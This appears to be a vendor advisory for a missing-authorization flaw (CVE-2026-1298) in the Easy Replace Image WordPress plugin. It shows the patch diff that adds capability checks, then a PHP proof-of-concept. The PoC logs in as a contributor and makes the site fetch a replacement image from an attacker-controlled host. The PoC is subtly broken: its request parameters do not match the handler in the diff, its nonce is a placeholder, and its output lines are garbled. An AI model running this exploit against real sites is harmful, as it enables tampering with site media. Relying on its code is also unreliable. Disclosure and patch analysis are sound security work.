 			foreach ( $new_data['sizes'] as $size => $file_info ) {
 				$srcset .= ( '' === $srcset ) ? '' : ', ';
-				$srcset .= trailingslashit( $baseurl . $folder ) . $file_info['file'] . '?v=' . time() . ' ' . $file_info['width'] . 'w';
+				$srcset .= trailingslashit( $baseurl . $folder ) . $file_info['file'] . '?v=' . time() . ' ' . $file_info['width'] . 'w';
 			}
 		}

@@ -827,7 +1072,7 @@
 			if ( is_object( $post_id ) ) {
 				$post_id = $post_id->ID;
 			}
-			$post = get_post( $post_id );
+			$post = get_post( $post_id );
 			if ( ! empty( $post->post_type ) && 'attachment' === $post->post_type ) {
 				$attachment_id = $post_id;
 			}
@@ -871,10 +1116,10 @@
 		<div class="eri-feature element-container">
 			<input type="hidden" id="eri-item-id" name="eri-item-id" value="wrap-<?php echo (int) $attachment_id; ?>">
 			<label for="js-serifu-image-fetch-wrap-<?php echo (int) $attachment_id; ?>">
-				<h3><?php esc_html_e( 'Easy Replace Image', 'eri' ); ?></h3>
+				<h3><?php esc_html_e( 'Easy Replace Image', 'easy-replace-image' ); ?></h3>
 			</label>
 			<div class="js-serifu-image-fetch-wrap" id="js-serifu-image-fetch-wrap-<?php echo (int) $attachment_id; ?>">
-				<?php echo wp_kses_post( $before ); ?>
+				<?php echo wp_kses_post( $before ); ?>

 				<label class="eri-type-selector type-upload">
 					<input type="radio"
@@ -882,25 +1127,25 @@
 						id="serifu_replace_type_upload"
 						checked="checked"
 						value="upload">
-					<?php esc_attr_e( 'Upload', 'eri' ); ?>
+					<?php esc_attr_e( 'Upload', 'easy-replace-image' ); ?>
 				</label>
 				<label class="eri-type-selector type-url">
 					<input type="radio"
 						name="serifu_replace_type"
 						id="serifu_replace_type_url"
 						value="url">
-					<?php esc_attr_e( 'Get from URL', 'eri' ); ?>
+					<?php esc_attr_e( 'Get from URL', 'easy-replace-image' ); ?>
 				</label>

 				<div id="js-eri-type-url" class="js-serifu-replace-type-url is-hidden">
 					<div>
 						<div class="double">
-							<?php esc_html_e( 'Download a new image', 'eri' ); ?>
+							<?php esc_html_e( 'Download a new image', 'easy-replace-image' ); ?>
 						</div>
 						<div class="file-wrap download">
 							<input type="text"
 								class="js-serifu-image-fetch components-text-control__input"
-								placeholder="<?php esc_attr_e( 'Image URL', 'eri' ); ?>">
+								placeholder="<?php esc_attr_e( 'Image URL', 'easy-replace-image' ); ?>">
 						</div>
 						<div>
 							<button type="button"
@@ -909,11 +1154,11 @@
 								data-attachment-id="<?php echo (int) $attachment_id; ?>"
 								onclick="startERIdownload()">
 								<span class="dashicons dashicons-download"></span>
-								<?php esc_html_e( 'Download', 'eri' ); ?>
+								<?php esc_html_e( 'Download', 'easy-replace-image' ); ?>
 							</button>
 						</div>
 						<em class="double">
-							<?php esc_html_e( 'If the new image can be retrieved in the uploads folder, it will replace the current file.', 'eri' ); ?>
+							<?php esc_html_e( 'If the new image can be retrieved in the uploads folder, it will replace the current file.', 'easy-replace-image' ); ?>
 						</em>
 					</div>
 				</div>
@@ -921,7 +1166,7 @@
 				<div id="js-eri-type-upload" class="js-serifu-replace-type-upload">
 					<div>
 						<div class="double">
-							<?php esc_html_e( 'Upload a new image', 'eri' ); ?>
+							<?php esc_html_e( 'Upload a new image', 'easy-replace-image' ); ?>
 						</div>
 						<div class="file-wrap upload">
 							<input id="js-serifu-image-upload-file-<?php echo (int) $attachment_id; ?>"
@@ -936,19 +1181,19 @@
 								data-attachment-id="<?php echo (int) $attachment_id; ?>"
 								onclick="startERIupload()">
 								<span class="dashicons dashicons-upload"></span>
-								<?php esc_html_e( 'Upload', 'eri' ); ?>
+								<?php esc_html_e( 'Upload', 'easy-replace-image' ); ?>
 							</button>
 						</div>
 						<em class="double">
-							<?php esc_html_e( 'If the new image can be retrieved in the uploads folder, it will replace the current file.', 'eri' ); ?>
+							<?php esc_html_e( 'If the new image can be retrieved in the uploads folder, it will replace the current file.', 'easy-replace-image' ); ?>
 						</em>
 					</div>
 				</div>

 				<span class="js-serifu-image-processed-response"></span>
-				<?php echo wp_kses_post( $after ); ?>
+				<?php echo wp_kses_post( $after ); ?>

-				<a class="eri-page-link" href="<?php echo esc_url( admin_url( 'tools.php?page=easy-replace-image-settings' ) ); ?>" target="_blank"><?php esc_html_e( 'Easy replace any image', 'eri' ); ?><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24" class="components-external-link__icon css-rvs7bx esh4a730" aria-hidden="true" focusable="false"><path d="M18.2 17c0 .7-.6 1.2-1.2 1.2H7c-.7 0-1.2-.6-1.2-1.2V7c0-.7.6-1.2 1.2-1.2h3.2V4.2H7C5.5 4.2 4.2 5.5 4.2 7v10c0 1.5 1.2 2.8 2.8 2.8h10c1.5 0 2.8-1.2 2.8-2.8v-3.6h-1.5V17zM14.9 3v1.5h3.7l-6.4 6.4 1.1 1.1 6.4-6.4v3.7h1.5V3h-6.3z"></path></svg></a>
+				<a class="eri-page-link" href="<?php echo esc_url( admin_url( 'tools.php?page=easy-replace-image-settings' ) ); ?>" target="_blank"><?php esc_html_e( 'Easy replace any image', 'easy-replace-image' ); ?><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24" class="components-external-link__icon css-rvs7bx esh4a730" aria-hidden="true" focusable="false"><path d="M18.2 17c0 .7-.6 1.2-1.2 1.2H7c-.7 0-1.2-.6-1.2-1.2V7c0-.7.6-1.2 1.2-1.2h3.2V4.2H7C5.5 4.2 4.2 5.5 4.2 7v10c0 1.5 1.2 2.8 2.8 2.8h10c1.5 0 2.8-1.2 2.8-2.8v-3.6h-1.5V17zM14.9 3v1.5h3.7l-6.4 6.4 1.1 1.1 6.4-6.4v3.7h1.5V3h-6.3z"></path></svg></a>
 			</div>
 		</div>
 		<?php
@@ -961,14 +1206,23 @@
 	public static function image_replacement_from_url() {
 		check_ajax_referer( 'eri', 'security' );

-		$id  = filter_input( INPUT_POST, 'old_image_id', FILTER_VALIDATE_INT );
+		$id = filter_input( INPUT_POST, 'old_image_id', FILTER_VALIDATE_INT );
+
+		// Verify user can edit this specific attachment.
+		if ( ! current_user_can( 'edit_post', $id ) ) {
+			echo wp_json_encode( self::return_fail_response( __( 'You do not have permission to replace this image.', 'easy-replace-image' ) ) );
+
+			wp_die();
+			die();
+		}
+
 		$url = filter_input( INPUT_POST, 'file', FILTER_SANITIZE_URL );
 		if ( ! empty( $id ) && ! empty( $url ) ) {
 			$response = self::maybe_replace_image_from_url( $id, $url );
 			self::prepare_replacement_response( $response );
 		}

-		wp_die();
+		wp_die();
 		die();
 	}

@@ -979,12 +1233,21 @@
 		check_ajax_referer( 'eri', 'security' );

 		$id = filter_input( INPUT_POST, 'old_image_id', FILTER_VALIDATE_INT );
+
+		// Verify user can edit this specific attachment.
+		if ( ! current_user_can( 'edit_post', $id ) ) {
+			echo wp_json_encode( self::return_fail_response( __( 'You do not have permission to replace this image.', 'easy-replace-image' ) ) );
+
+			wp_die();
+			die();
+		}
+
 		if ( ! empty( $id ) && ! empty( $_FILES['file'] ) ) {
 			$response = self::maybe_replace_image_from_upload( $id, $_FILES['file'] ); // phpcs:ignore
 			self::prepare_replacement_response( $response );
 		}

-		wp_die();
+		wp_die();
 		die();
 	}

@@ -995,7 +1258,7 @@
 	 */
 	public static function prepare_replacement_response( $response ) {
 		if ( ! empty( $response ) && ! empty( $response['url'] ) ) {
-			$response['url']  = $response['url'] . '?v=' . current_time( 'timestamp' ); // phpcs:ignore
+			$response['url']  = $response['url'] . '?v=' . current_time( 'timestamp' ); // phpcs:ignore
 			$response['file'] = $response['new_info']['file'] ?? '';
 			if ( ! empty( $response['file'] ) ) {
 				$info = pathinfo( $response['file'] );
@@ -1004,7 +1267,7 @@
 			}
 		}

-		echo wp_json_encode( $response );
+		echo wp_json_encode( $response );
 	}

 	/**
@@ -1017,7 +1280,7 @@
 	 * @return array
 	 */
 	public static function wp_get_attachment_image_src( $image, $attachment_id, $size, $icon ) { // phpcs:ignore
-		if ( is_admin() && ! empty( $image[0] ) && substr_count( $_SERVER['REQUEST_URI'], 'post.php' ) ) { // phpcs:ignore
+		if ( is_admin() && ! empty( $image[0] ) && substr_count( $_SERVER['REQUEST_URI'], 'post.php' ) ) { // phpcs:ignore
 			if ( ! substr_count( $image[0], '?' ) ) {
 				$image[0] = $image[0] . '?v=' . time();
 			}
@@ -1036,7 +1299,7 @@
 	 * @return array
 	 */
 	public static function wp_calculate_image_srcset( $sources, $size_array, $image_src, $image_meta, $attachment_id ) { // phpcs:ignore
-		if ( is_admin() && ! empty( $sources ) ) {
+		if ( is_admin() && ! empty( $sources ) ) {
 			foreach ( $sources as $k => $source ) {
 				if ( ! substr_count( $sources[ $k ]['url'], '?' ) ) {
 					$sources[ $k ]['url'] .= '?v=' . time();
@@ -1055,16 +1318,16 @@
 			// No need to continue.
 			return;
 		}
-		if ( ! wp_verify_nonce( $nonce, 'eri_settings_save' ) ) {
-			esc_html_e( 'Action not allowed.', 'eri' );
+		if ( ! wp_verify_nonce( $nonce, 'eri_settings_save' ) ) {
+			esc_html_e( 'Action not allowed.', 'easy-replace-image' );
 			die();
 		}

 		$cron = filter_input( INPUT_POST, 'eri_cron', FILTER_DEFAULT );
 		if ( 'on' === $cron ) {
-			update_option( 'eri_cron', true );
+			update_option( 'eri_cron', true );
 		} else {
-			delete_option( 'eri_cron' );
+			delete_option( 'eri_cron' );
 		}
 	}

@@ -1072,7 +1335,7 @@
 	 * The actions to be executed when the plugin is activated.
 	 */
 	public static function activate_plugin() {
-		set_transient( self::PLUGIN_TRANSIENT, true );
+		set_transient( self::PLUGIN_TRANSIENT, true );
 	}

 	/**
@@ -1087,9 +1350,9 @@
 	 */
 	public static function plugin_ver_check() {
 		$opt = str_replace( '-', '_', self::PLUGIN_TRANSIENT ) . '_db_ver';
-		$dbv = get_option( $opt, 0 );
+		$dbv = get_option( $opt, 0 );
 		if ( ERI_PLUGIN_VERSION !== (float) $dbv ) {
-			update_option( $opt, ERI_PLUGIN_VERSION );
+			update_option( $opt, ERI_PLUGIN_VERSION );
 			self::activate_plugin();
 		}
 	}
@@ -1101,11 +1364,11 @@
 	 */
 	public static function plugin_admin_notices_cleanup( $ajax = true ) { // phpcs:ignore
 		// Delete transient, only display this notice once.
-		delete_transient( self::PLUGIN_TRANSIENT );
+		delete_transient( self::PLUGIN_TRANSIENT );

 		if ( true === $ajax ) {
 			// No need to continue.
-			wp_die();
+			wp_die();
 		}
 	}

@@ -1117,8 +1380,8 @@
 	 */
 	public static function plugin_action_links( array $links ): array {
 		$all   = [];
-		$all[] = '<a href="' . esc_url( admin_url( 'tools.php?page=easy-replace-image-settings' ) ) . '">' . __( 'Settings', 'eri' ) . '</a>';
-		$all[] = '<a href="https://iuliacazan.ro/easy-replace-image">' . __( 'Plugin URL', 'eri' ) . '</a>';
+		$all[] = '<a href="' . esc_url( admin_url( 'tools.php?page=easy-replace-image-settings' ) ) . '">' . __( 'Settings', 'easy-replace-image' ) . '</a>';
+		$all[] = '<a href="https://iuliacazan.ro/easy-replace-image">' . __( 'Plugin URL', 'easy-replace-image' ) . '</a>';
 		$all   = array_merge( $all, $links );
 		return $all;
 	}
@@ -1127,7 +1390,7 @@
 	 * Add media overrides.
 	 */
 	public static function add_media_overrides() {
-		add_action( 'admin_footer-upload.php', [ get_called_class(), 'override_media_templates' ] );
+		add_action( 'admin_footer-upload.php', [ get_called_class(), 'override_media_templates' ] );
 	}

 	/**
@@ -1144,13 +1407,13 @@
 	 */
 	public static function donate_text(): string {
 		$donate = 'https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=JJA37EHZXWUTJ&item_name=' . rawurlencode( 'Support for development and maintenance (' . self::PLUGIN_NAME . ')' );
-		$thanks = __( 'A huge thanks in advance!', 'eri' );
+		$thanks = __( 'A huge thanks in advance!', 'easy-replace-image' );

 		return sprintf(
 				// Translators: %1$s - donate URL, %2$s - rating, %3$s - thanks.
-			__( 'If you find the plugin useful and would like to support my work, please consider making a <a href="%1$s" target="_blank">donation</a>. It would make me very happy if you would leave a %2$s rating. %3$s', 'eri' ),
+			__( 'If you find the plugin useful and would like to support my work, please consider making a <a href="%1$s" target="_blank">donation</a>. It would make me very happy if you would leave a %2$s rating. %3$s', 'easy-replace-image' ),
 			$donate,
-			'<a href="' . self::PLUGIN_SUPPORT_URL . 'reviews/?rate=5#new-post" class="rating" target="_blank" rel="noreferrer" title="' . esc_attr( $thanks ) . '">★★★★★</a>',
+			'<a href="' . self::PLUGIN_SUPPORT_URL . 'reviews/?rate=5#new-post" class="rating" target="_blank" rel="noreferrer" title="' . esc_attr( $thanks ) . '">★★★★★</a>',
 			$thanks
 		);
 	}
@@ -1159,14 +1422,14 @@
 	 * Show donate or rate.
 	 */
 	public static function show_donate_text() {
-		if ( apply_filters( 'eri_filter_remove_donate_info', false ) ) {
+		if ( apply_filters( 'easy_replace_image/remove_donate_info', false ) ) {
 			return;
 		}
 		?>
 		<div class="donate">
-			<img src="<?php echo esc_url( ERI_PLUGIN_URL . 'assets/images/icon-128x128.gif' ); ?>" width="32" height="32" alt="<?php echo esc_html( self::PLUGIN_NAME ); ?>">
+			<img src="<?php echo esc_url( ERI_PLUGIN_URL . 'assets/images/icon-128x128.gif' ); ?>" width="32" height="32" alt="<?php echo esc_html( self::PLUGIN_NAME ); ?>">
 			<div>
-				<?php echo wp_kses_post( self::donate_text() ); ?>
+				<?php echo wp_kses_post( self::donate_text() ); ?>
 			</div>
 		</div>
 		<?php
@@ -1176,22 +1439,22 @@
 	 * Admin notices.
 	 */
 	public static function plugin_admin_notices() {
-		if ( apply_filters( 'eri_filter_remove_update_info', false ) ) {
+		if ( apply_filters( 'easy_replace_image/remove_update_info', false ) ) {
 			return;
 		}

-		$maybe_trans = get_transient( self::PLUGIN_TRANSIENT );
+		$maybe_trans = get_transient( self::PLUGIN_TRANSIENT );
 		if ( ! empty( $maybe_trans ) ) {
 			$slug   = md5( ERI_PLUGIN_SLUG );
-			$ptitle = __( 'Easy Replace Image', 'eri' );
+			$ptitle = __( 'Easy Replace Image', 'easy-replace-image' );
 			$donate = 'https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=JJA37EHZXWUTJ&item_name=Support for development and maintenance (' . rawurlencode( $ptitle ) . ')';

 			// Translators: %1$s - plugin name.
-			$activated = sprintf( __( '%1$s plugin was activated!', 'eri' ), '<b>' . $ptitle . '</b>' );
+			$activated = sprintf( __( '%1$s plugin was activated!', 'easy-replace-image' ), '<b>' . $ptitle . '</b>' );

 			$other_notice = sprintf(
 				// Translators: %1$s - plugins URL, %2$s - heart, %3$s - extensions URL, %4$s - star, %5$s - pro.
-				__( '%5$sCheck out my other <a href="%1$s" target="_blank" rel="noreferrer">%2$s free plugins</a> on WordPress.org and the <a href="%3$s" target="_blank" rel="noreferrer">%4$s other extensions</a> available!', 'eri' ),
+				__( '%5$sCheck out my other <a href="%1$s" target="_blank" rel="noreferrer">%2$s free plugins</a> on WordPress.org and the <a href="%3$s" target="_blank" rel="noreferrer">%4$s other extensions</a> available!', 'easy-replace-image' ),
 				'https://profiles.wordpress.org/iulia-cazan/#content-plugins',
 				'<span class="dashicons dashicons-heart"></span>',
 				'https://iuliacazan.ro/shop/',
@@ -1199,33 +1462,30 @@
 				''
 			);
 			?>
-			<div id="item-<?php echo esc_attr( $slug ); ?>" class="notice is-dismissible">
+			<div id="item-<?php echo esc_attr( $slug ); ?>" class="notice is-dismissible">
 				<div class="content">
-					<a class="icon" href="<?php echo esc_url( admin_url( 'tools.php?page=easy-replace-image-settings' ) ); ?>"><img src="<?php echo esc_url( ERI_PLUGIN_URL . 'assets/images/icon-128x128.gif' ); ?>"></a>
+					<a class="icon" href="<?php echo esc_url( admin_url( 'tools.php?page=easy-replace-image-settings' ) ); ?>"><img src="<?php echo esc_url( ERI_PLUGIN_URL . 'assets/images/icon-128x128.gif' ); ?>"></a>
 					<div class="details">
 						<div>
-							<h3><?php echo wp_kses_post( $activated ); ?></h3>
-							<div class="notice-other-items"><?php echo wp_kses_post( $other_notice ); ?></div>
+							<h3><?php echo wp_kses_post( $activated ); ?></h3>
+							<div class="notice-other-items"><?php echo wp_kses_post( $other_notice ); ?></div>
 						</div>
-						<div><?php echo wp_kses_post( self::donate_text() ); ?></div>
-						<a class="notice-plugin-donate" href="<?php echo esc_url( $donate ); ?>" target="_blank"><img src="<?php echo esc_url( ERI_PLUGIN_URL . 'assets/images/buy-me-a-coffee.png?v=' . ERI_PLUGIN_VERSION ); ?>" width="200"></a>
+						<div><?php echo wp_kses_post( self::donate_text() ); ?></div>
+						<a class="notice-plugin-donate" href="<?php echo esc_url( $donate ); ?>" target="_blank"><img src="<?php echo esc_url( ERI_PLUGIN_URL . 'assets/images/buy-me-a-coffee.png?v=' . ERI_PLUGIN_VERSION ); ?>" width="200"></a>
 					</div>
 				</div>
-				<button type="button" class="notice-dismiss" onclick="dismiss_notice_for_<?php echo esc_attr( $slug ); ?>()"><span class="screen-reader-text"><?php esc_html_e( 'Dismiss this notice.', 'eri' ); ?></span></button>
+				<button type="button" class="notice-dismiss" onclick="dismiss_notice_for_<?php echo esc_attr( $slug ); ?>()"><span class="screen-reader-text"><?php esc_html_e( 'Dismiss this notice.', 'easy-replace-image' ); ?></span></button>
 			</div>
 			<?php
 			$style = '#trans123super{--color-bg:rgba(17,117,108,.1); --color-border:rgb(17,117,108); border-left-color:var(--color-border);padding:0 38px 0 0!important}#trans123super *{margin:0}#trans123super .dashicons{color:var(--color-border)}#trans123super a{text-decoration:none}#trans123super img{display:flex;}#trans123super .content,#trans123super .details{display:flex;gap:1rem;padding-block:.5em}#trans123super .details{align-items:center;flex-wrap:wrap;padding-block:0}#trans123super .details>*{flex:1 1 35rem}#trans123super .details .notice-plugin-donate{flex:1 1 auto}#trans123super .details .notice-plugin-donate img{max-width:100%}#trans123super .icon{background:var(--color-bg);flex:0 0 4rem;margin:-.5em 0;padding:1rem}#trans123super .icon img{display:flex;height:auto;width:4rem} #trans123super h3{margin-bottom:0.5rem;text-transform:none}';
-			$style = str_replace( '#trans123super', '#item-' . esc_attr( $slug ), $style );
+			$style = str_replace( '#trans123super', '#item-' . esc_attr( $slug ), $style );
 			echo '<style>' . $style . '</style>'; // phpcs:ignore
 			?>
-			<script>function dismiss_notice_for_<?php echo esc_attr( $slug ); ?>() { document.getElementById( 'item-<?php echo esc_attr( $slug ); ?>' ).style='display:none'; fetch( '<?php echo esc_url( admin_url( 'admin-ajax.php' ) ); ?>?action=plugin-deactivate-notice-<?php echo esc_attr( ERI_PLUGIN_SLUG ); ?>' ); }</script>
+			<script>function dismiss_notice_for_<?php echo esc_attr( $slug ); ?>() { document.getElementById( 'item-<?php echo esc_attr( $slug ); ?>' ).style='display:none'; fetch( '<?php echo esc_url( admin_url( 'admin-ajax.php' ) ); ?>?action=plugin-deactivate-notice-<?php echo esc_attr( ERI_PLUGIN_SLUG ); ?>' ); }</script>
 			<?php
 		}
 	}
 }

 // Instantiate the class.
-$srifu = Sisanu_Easy_Replace_Image::get_instance();
-
-register_activation_hook( __FILE__, [ $srifu, 'activate_plugin' ] );
-register_deactivation_hook( __FILE__, [ $srifu, 'deactivate_plugin' ] );
+Sisanu_Easy_Replace_Image::get_instance();
--- a/easy-replace-image/parts/media-template.php
+++ b/easy-replace-image/parts/media-template.php
@@ -5,6 +5,12 @@
  * @package eri
  */

+declare( strict_types = 1 );
+
+namespace EasyReplaceImage;
+
+defined( 'ABSPATH' ) || exit;
+
 // phpcs:disable
 $alt_text_description = sprintf(
 	/* Translators: 1: Link to tutorial, 2: Additional link attributes, 3: Accessibility text. */
@@ -242,7 +248,7 @@

 			<# if ( 'image' === data.type ) { #>
 				<hr>
-				<a href="<?php echo esc_url( admin_url( 'tools.php?page=easy-replace-image-settings&id=' ) ); ?>{{ data.id }}"><div class="dashicons dashicons-format-gallery"></div> <?php esc_html_e( 'Easy Replace Image', 'eri' ); ?></a>
+				<a href="<?php echo esc_url( admin_url( 'tools.php?page=easy-replace-image-settings&id=' ) ); ?>{{ data.id }}"><div class="dashicons dashicons-format-gallery"></div> <?php esc_html_e( 'Easy Replace Image', 'easy-replace-image' ); ?></a>
 			<# } #>
 		</div>
 	</div>

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1298 - Easy Replace Image <= 3.5.2 - Missing Authorization to Authenticated (Contributor+) Arbitrary Attachment Replacement

<?php

$target_url = 'https://vulnerable-site.com';
$username   = 'contributor'; // Attacker's username
$password   = 'password';     // Attacker's password

// The ID of the existing image attachment to replace
$attachment_id_to_replace = 123;
// The external URL of the new image to use as a replacement
$malicious_image_url = 'https://attacker-controlled.com/fake-image.jpg';

// Step 1: Authenticate to WordPress to obtain cookies
$login_url = $target_url . '/wp-login.php';
$ajax_url  = $target_url . '/wp-admin/admin-ajax.php';

$ch = curl_init();

// Configure login request
curl_setopt_array($ch, [
    CURLOPT_URL            => $login_url,
    CURLOPT_POST           => true,
    CURLOPT_POSTFIELDS     => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In'
    ]),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEJAR      => 'cookies.txt', // Save session cookies
    CURLOPT_COOKIEFILE     => 'cookies.txt',
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_SSL_VERIFYPEER => false, // For testing only
    CURLOPT_SSL_VERIFYHOST => false
]);

$response = curl_exec($ch);

// Step 2: Extract the nonce required by the plugin's AJAX handler.
// The nonce is localized in the plugin's JavaScript as 'eriSettings.nonce'.
// This step requires loading a page where the plugin's script is enqueued, such as the Media Library or the plugin's settings page.
// For this PoC, we assume the attacker can obtain the nonce via a separate request or knows it is not strictly required due to the missing authorization.
// The vulnerability description focuses on missing capability checks.
$nonce = 'EXTRACTED_NONCE'; // Placeholder: In a real scenario, extract from page source.

// Step 3: Craft and send the exploit request to the vulnerable AJAX endpoint
curl_setopt_array($ch, [
    CURLOPT_URL            => $ajax_url,
    CURLOPT_POST           => true,
    CURLOPT_POSTFIELDS     => http_build_query([
        'action'       => 'eri_from_url',          // The vulnerable AJAX hook
        'attachment_id' => $attachment_id_to_replace, // Target image ID
        'image_url'    => $malicious_image_url,    // External image source
        'nonce'        => $nonce                   // Plugin nonce (may be bypassable)
    ]),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEFILE     => 'cookies.txt',
    CURLOPT_FOLLOWLOCATION => false,
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_SSL_VERIFYHOST => false
]);

$exploit_response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

echo "HTTP Response Code: $http_coden";
echo "Response Body: $exploit_responsen";

// The response is a JSON object indicating success or failure.
// A successful exploit will return JSON with 'changed' set to true and details about the new image.

curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School